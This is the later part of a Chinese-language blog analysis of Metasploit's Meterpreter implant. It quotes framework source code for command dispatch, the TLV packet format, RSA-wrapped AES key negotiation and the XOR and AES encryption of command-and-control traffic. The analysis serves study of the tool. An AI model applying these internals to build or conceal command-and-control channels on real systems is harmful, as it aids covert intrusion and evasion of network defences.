                                if (command->request.inline_handler) {
                                        dprintf("[DISPATCH] executing inline request handler %u", commandId);
                                        serverContinue = command->request.inline_handler(remote, packet, &result) && serverContinue;
                                        dprintf("[DISPATCH] executed %u, continue %s", commandId, serverContinue ? "yes" : "no");
                                }
                                else
                                {
                                        dprintf("[DISPATCH] executing request handler %u", commandId);
                                        result = command->request.handler(remote, packet);
                                }
                                break;
                        case PACKET_TLV_TYPE_RESPONSE:
                        case PACKET_TLV_TYPE_PLAIN_RESPONSE:
                                if (command->response.inline_handler)
                                {
                                        dprintf("[DISPATCH] executing inline response handler %u", commandId);
                                        serverContinue = command->response.inline_handler(remote, packet, &result) && serverContinue;
                                }
                                else
                                {
                                        dprintf("[DISPATCH] executing response handler %u", commandId);
                                        result = command->response.handler(remote, packet);
                                }
                                break;
                        }

                        dprintf("[COMMAND] Calling completion handlers...");

                        // Get the request identifier if the packet has one.
                        if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, &requestIdTlv) == ERROR_SUCCESS)
                        {
                                requestId = (PCHAR)requestIdTlv.buffer;
                        }

                        // Finally, call completion routines for the provided identifier
                        if (((packetTlvType == PACKET_TLV_TYPE_RESPONSE) || (packetTlvType == PACKET_TLV_TYPE_PLAIN_RESPONSE)) && requestId)
                        {
                                packet_call_completion_handlers(remote, packet, requestId);
                        }

                        dprintf("[COMMAND] Completion handlers finished for %u.", commandId);
                } while (0);
        }
        __except (EXCEPTION_EXECUTE_HANDLER)
        {
                dprintf("[COMMAND] Exception hit in command %u", commandId);
        }

        if (!packet->local)
        {
                dprintf("[COMMAND] Packet is not local, destroying");
                packet_destroy(packet);
                dprintf("[COMMAND] Packet destroyed");
        }

        dprintf("[COMMAND] Command processing finishing. Returning: %s", (serverContinue ? "TRUE" : "FALSE"));
        return serverContinue;
}

5) TLV

TLV(Type-Length-Value)是meterpreter提供的数据序列化方法,它的格式如下:
typedef struct
{
        DWORD length;
        DWORD type;
} TlvHeader;

typedef struct
{
        TlvHeader header;
        PUCHAR    buffer;
} Tlv;
length(32位,网络字节顺序):长度字段指数据的长度包括tlv头
type(32位,网络字节顺序):类型字段存储用于指示值格式的任意数据类型。
value(0到n位):值字段存储与类型字段中指定格式相对应的任意数据。
这种简单的数据结构使得Meterpreter能够实现一个强大的协议。每个数据包由一个包含TLV的大型数据结构组成,该TLV可能包含TLV作为其值字段的一部分,也可能不包含。通过嵌套TLV,Meterpreter能够传递通常需要作为逻辑有效负载的一部分作为标头传输的信息。
一个packet如下:
 +--------------+                        
 | PacketHeader | ----------------------> +--------------+ 
 +--------------+                         |    xor_key   |   -----> 头xor加密的key
 |    payload   |                         +--------------+ 
 +--------------+                         | session_guid |   -----> session guid
 |payloadLength |                         +--------------+ 
 +--------------+                         |  enc_flags   |   -----> 加密标记,目前只有一种AES256
 |              |                         +--------------+ 
 | decompressed |  ----> List             |    length    |   -----> 包的长度,从此处开始和TLV头是相同的
 |   buffers    |                         +--------------+
 +--------------+                         |     type     |   -----> 类型
 |    local     |                         +--------------+
 +--------------+
 |    partner   |  ----> 相关的包
 +--------------+
 
 
 payload
 +--------------+
 |     TLV1     |  -----> 一般TLV 
 +--------------+
 |     TLV2     | 
 | +----------+ |  -----> 带嵌套的TLV
 | |  TLV2.1  | |
 | +----------+ |
 +--------------+
 
 | <- 4 bytes ->|
 
例如前文提到的模块加载request_core_loadlib它的包就是这样的,meterpreter在接收到包后会根据command_id进行派发,最终交给request_core_loadlib,此函数在获取LIBRARY_PATH、FLAGS、DATA或TAGET_PATH等信息后进行模块加载。
 +--------------+                        
 | PacketHeader | 
 +--------------+
 |     TLV1     |
 |  COMMAND_ID  |  
 +--------------+                         
 |     TLV2     |
 | LIBRARY_PATH |  
 +--------------+
 |     TLV3     | 
 |    FLAGS     |                                               
 +--------------+    or    +--------------+
 |     TLV4     | -------> |     TLV3     |
 |     DATA     |          |   TAGET_PATH |             
 +--------------+          +--------------+              
 |payloadLength |                         
 +--------------+                         
 |              |                         
 | decompressed |            
 |   buffers    |                         
 +--------------+                        
 |    local     |                         
 +--------------+
 |    partner   | 
 +--------------+
 
 | <- 4 bytes ->|

6) 协议加密

前文提到Packet数据是有经过异或加密的,后面的payload数据是否使用更复杂的加密需要看标志位enc_flags,如果这个为设为1则此包payload为ENC_FLAG_AES256加密。
AES256加密需要先协商一个key,控制端会向被控端发送命令请求协商AES_KEY
metasploit-framework/lib/rex/post/meterpreter/client_core.rb
#
  # Negotiates the use of encryption at the TLV level
  #
  def negotiate_tlv_encryption(timeout: client.comm_timeout)
    sym_key = nil
    #RSA生成一个公钥
    rsa_key = OpenSSL::PKey::RSA.new(2048)
    rsa_pub_key = rsa_key.public_key
    #创建一个命令CORE_NEGOTIATE_TLV_ENCRYPTION
    request  = Packet.create_request(COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION)
    #把RSA公钥发过去,被控端会用RSA来加密AES_KEY,避免在传输途中被人拿到
    request.add_tlv(TLV_TYPE_RSA_PUB_KEY, rsa_pub_key.to_der)

    begin
      #发命令给被控端
      response = client.send_request(request, timeout)
      #被控端返回一个AES_KEY(被RSA加密后的)
      key_enc = response.get_tlv_value(TLV_TYPE_ENC_SYM_KEY)
      key_type = response.get_tlv_value(TLV_TYPE_SYM_KEY_TYPE)

      if key_enc
        #用私钥解密AES_KEY
        sym_key = rsa_key.private_decrypt(key_enc, OpenSSL::PKey::RSA::PKCS1_PADDING)
      else
        sym_key = response.get_tlv_value(TLV_TYPE_SYM_KEY)
      end
    rescue OpenSSL::PKey::RSAError, Rex::Post::Meterpreter::RequestError
      # 1) OpenSSL error may be due to padding issues (or something else)
      # 2) Request error probably means the request isn't supported, so fallback to plain
    end

    {
      key:  sym_key,
      type: key_type
    }
  end
在被控端meterpreter处理AES_KEY协商在
metasploit-payloads\c\meterpreter\source\metsrv\packet_encryption.c
DWORD request_negotiate_aes_key(Remote* remote, Packet* packet)
{
        DWORD result = ERROR_SUCCESS;
        Packet* response = packet_create_response(packet);

        do
        {
                // 已经有的话释放掉
                if (remote->enc_ctx != NULL)
                {
                        free_encryption_context(remote);
                }

                remote->enc_ctx = (PacketEncryptionContext*)calloc(1, sizeof(PacketEncryptionContext));

                if (remote->enc_ctx == NULL)
                {
                        dprintf("[ENC] failed to allocate the encryption context");
                        result = ERROR_OUTOFMEMORY;
                        break;
                }

                PacketEncryptionContext* ctx = remote->enc_ctx;
                //请求provider
                for (int i = 0; i < _countof(AesProviders); ++i)
                {
                        if (!CryptAcquireContext(&ctx->provider, NULL, AesProviders[i].provider, AesProviders[i].type, AesProviders[i].flags))
                        {
                                result = GetLastError();
                                dprintf("[ENC] failed to acquire the crypt context %d: %d (%x)", i, result, result);
                        }
                        else
                        {
                                result = ERROR_SUCCESS;
                                ctx->provider_idx = i;
                                dprintf("[ENC] managed to acquire the crypt context %d!", i);
                                break;
                        }
                }

                if (result != ERROR_SUCCESS)
                {
                        break;
                }

                ctx->key_data.header.bType = PLAINTEXTKEYBLOB;
                ctx->key_data.header.bVersion = CUR_BLOB_VERSION;
                ctx->key_data.header.aiKeyAlg = CALG_AES_256;
                ctx->key_data.length = sizeof(ctx->key_data.key);

                //生成一个随机的AES_KEY
                if (!CryptGenRandom(ctx->provider, ctx->key_data.length, ctx->key_data.key))
                {
                        result = GetLastError();
                        dprintf("[ENC] failed to generate random key: %d (%x)", result, result);
                        break;
                }

                if (!CryptImportKey(ctx->provider, (const BYTE*)&ctx->key_data, sizeof(Aes256Key), 0, 0, &ctx->aes_key))
                {
                        result = GetLastError();
                        dprintf("[ENC] failed to import random key: %d (%x)", result, result);
                        break;
                }

                // now we need to encrypt this key data using the public key given
                DWORD pubKeyDerLen = 0;
                //获取控制端给的RSA公钥
                BYTE* pubKeyDer = packet_get_tlv_value_raw(packet, TLV_TYPE_RSA_PUB_KEY, &pubKeyDerLen);
                unsigned char* cipherText = NULL;
                DWORD cipherTextLength = 0;
                //用公钥加密AES_KEY
                DWORD pubEncryptResult = public_key_encrypt(pubKeyDer, pubKeyDerLen, remote->enc_ctx->key_data.key, remote->enc_ctx->key_data.length, &cipherText, &cipherTextLength);

                //将加密后的AES_KEY放入Response包中
                packet_add_tlv_uint(response, TLV_TYPE_SYM_KEY_TYPE, ENC_FLAG_AES256);
                if (pubEncryptResult == ERROR_SUCCESS && cipherText != NULL)
                {
                        // encryption succeeded, pass this key back to the call in encrypted form
                        packet_add_tlv_raw(response, TLV_TYPE_ENC_SYM_KEY, cipherText, cipherTextLength);
                        free(cipherText);
                }
                else
                {
                        // no public key was given, so send it back in the raw
                        packet_add_tlv_raw(response, TLV_TYPE_SYM_KEY, remote->enc_ctx->key_data.key, remote->enc_ctx->key_data.length);
                }

                ctx->valid = TRUE;
        } while (0);
        //返回response包,协商结束,之后的包使用AES_KEY加密.
        packet_transmit_response(result, remote, response);

        remote->enc_ctx->enabled = TRUE;

        return ERROR_SUCCESS;
}
详细看下包加密的过程,整个包结构和之前基本相同,除了header和payload之间位置会用来存放一个随机的AES向量IV。
DWORD encrypt_packet(Remote* remote, Packet* packet, LPBYTE* buffer, LPDWORD bufferSize)
{
        DWORD result = ERROR_SUCCESS;
        HCRYPTKEY dupKey = 0;

        vdprintf("[ENC] Preparing for encryption ...");

        // create a new XOR key here, because the content will be copied into the final
        // payload as part of the prepration process
        // 随机xor_key用于后续加密
        rand_xor_key(packet->header.xor_key);

        // copy the session ID to the header as this will be used later to identify the packet's destination session
        memcpy_s(packet->header.session_guid, sizeof(packet->header.session_guid), remote->orig_config->session.session_guid, sizeof(remote->orig_config->session.session_guid));

        // Only encrypt if the context was set up correctly
        if (remote->enc_ctx != NULL && remote->enc_ctx->valid)
        {
                vdprintf("[ENC] Context is valid, moving on ... ");
                // only encrypt the packet if encryption has been enabled
                if (remote->enc_ctx->enabled)
                {
                        do
                        {
                                vdprintf("[ENC] Context is enabled, doing the AES encryption");
                                //使用协商好的AES_KEY
                                if (!CryptDuplicateKey(remote->enc_ctx->aes_key, NULL, 0, &dupKey))
                                {
                                        result = GetLastError();
                                        vdprintf("[ENC] Failed to duplicate AES key: %d (%x)", result, result);
                                        break;
                                }

                                DWORD mode = CRYPT_MODE_CBC;
                                if (!CryptSetKeyParam(dupKey, KP_MODE, (const BYTE*)&mode, 0))
                                {
                                        result = GetLastError();
                                        dprintf("[ENC] Failed to set mode to CBC: %d (%x)", result, result);
                                        break;
                                }
                                //生成一个随机向量IV用户AES加密,这个IV会放在packet中
                                BYTE iv[AES256_BLOCKSIZE];
                                if (!CryptGenRandom(remote->enc_ctx->provider, sizeof(iv), iv))
                                {
                                        result = GetLastError();
                                        vdprintf("[ENC] Failed to generate random IV: %d (%x)", result, result);
                                }

                                vdprintf("[ENC] IV: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
                                        iv[0], iv[1], iv[2], iv[3], iv[4], iv[5], iv[6], iv[7], iv[8], iv[9], iv[10], iv[11], iv[12], iv[13], iv[14], iv[15]);


                                if (!CryptSetKeyParam(dupKey, KP_IV, iv, 0))
                                {
                                        result = GetLastError();
                                        vdprintf("[ENC] Failed to set IV: %d (%x)", result, result);
                                        break;
                                }

                                vdprintf("[ENC] IV Set successfully");
                                // mark this packet as an encrypted packet
                                // 标记这个包是AES256加密包
                                packet->header.enc_flags = htonl(ENC_FLAG_AES256);


                                // Round up
                                DWORD maxEncryptSize = ((packet->payloadLength / AES256_BLOCKSIZE) + 1) * AES256_BLOCKSIZE;
                                // Need to have space for the IV at the start, as well as the packet Header
                                DWORD memSize = maxEncryptSize + sizeof(iv) + sizeof(packet->header);
                                //此处申请内存来放加密后的包
                                *buffer = (BYTE*)malloc(memSize);
                                BYTE* headerPos = *buffer;
                                //header后面放随机的向量IV
                                BYTE* ivPos = headerPos + sizeof(packet->header);
                                //真实的payload放在IV后
                                BYTE* payloadPos = ivPos + sizeof(iv);

                                *bufferSize = packet->payloadLength;

                                // prepare the payload
                                memcpy_s(payloadPos, packet->payloadLength, packet->payload, packet->payloadLength);
                                //开始加密
                                if (!CryptEncrypt(dupKey, 0, TRUE, 0, payloadPos, bufferSize, maxEncryptSize))
                                {
                                        result = GetLastError();
                                        vdprintf("[ENC] Failed to encrypt: %d (%x)", result, result);
                                }
                                else
                                {
                                        vdprintf("[ENC] Data encrypted successfully, size is %u", *bufferSize);
                                }

                                // update the length to match the size of the encrypted data with IV and the TlVHeader
                                // 加密后更新长度
                                packet->header.length = ntohl(*bufferSize + sizeof(iv) + sizeof(TlvHeader));

                                // update the returned total size to include both the IV and header size.
                                *bufferSize += sizeof(iv) + sizeof(packet->header);

                                // write the header and IV to the payload
                                // 随机向量和payload写入buffer
                                memcpy_s(headerPos, sizeof(packet->header), &packet->header, sizeof(packet->header));
                                memcpy_s(ivPos, sizeof(iv), iv, sizeof(iv));
                        } while (0);
                }
                else
                {
                        dprintf("[ENC] Enabling the context");
                        // if the encryption is valid, then we set the enbaled flag here because
                        // we know that the first packet going out is the response to the negotiation
                        // and from here we want to make sure that the encryption function is on.
                        remote->enc_ctx->enabled = TRUE;
                }
        }
        else
        {
                vdprintf("[ENC] No encryption context present");
        }

        // if we don't have a valid buffer at this point, we'll create one and add the packet as per normal
        // 加密失败处理,还是用原来的包
        if (*buffer == NULL)
        {
                *bufferSize = packet->payloadLength + sizeof(packet->header);
                *buffer = (BYTE*)malloc(*bufferSize);

                BYTE* headerPos = *buffer;
                BYTE* payloadPos = headerPos + sizeof(packet->header);

                // mark this packet as a non-encrypted packet
                packet->header.enc_flags = htonl(ENC_FLAG_NONE);

                memcpy_s(headerPos, sizeof(packet->header), &packet->header, sizeof(packet->header));
                memcpy_s(payloadPos, packet->payloadLength, packet->payload, packet->payloadLength);
        }
        vdprintf("[ENC] Packet buffer size is: %u", *bufferSize);

#ifdef DEBUGTRACE
        LPBYTE h = *buffer;
        vdprintf("[ENC] Sending header (before XOR): [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]",
                h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]);
#endif
        // finally XOR obfuscate like we always did before, skippig the xor key itself.
        // 最后用之前随机出来的xor_key对整体数据加密
        xor_bytes(packet->header.xor_key, *buffer + sizeof(packet->header.xor_key), *bufferSize - sizeof(packet->header.xor_key));

        vdprintf("[ENC] Packet encoded and ready for transmission");
#ifdef DEBUGTRACE
        vdprintf("[ENC] Sending header (after XOR): [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]",
                h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]);
#endif

        if (dupKey != 0)
        {
                CryptDestroyKey(dupKey);
        }

        return result;
}

 

posted @ 2023-07-04 16:12  Kevin!=NULL  阅读(931)  评论(0编辑  收藏  举报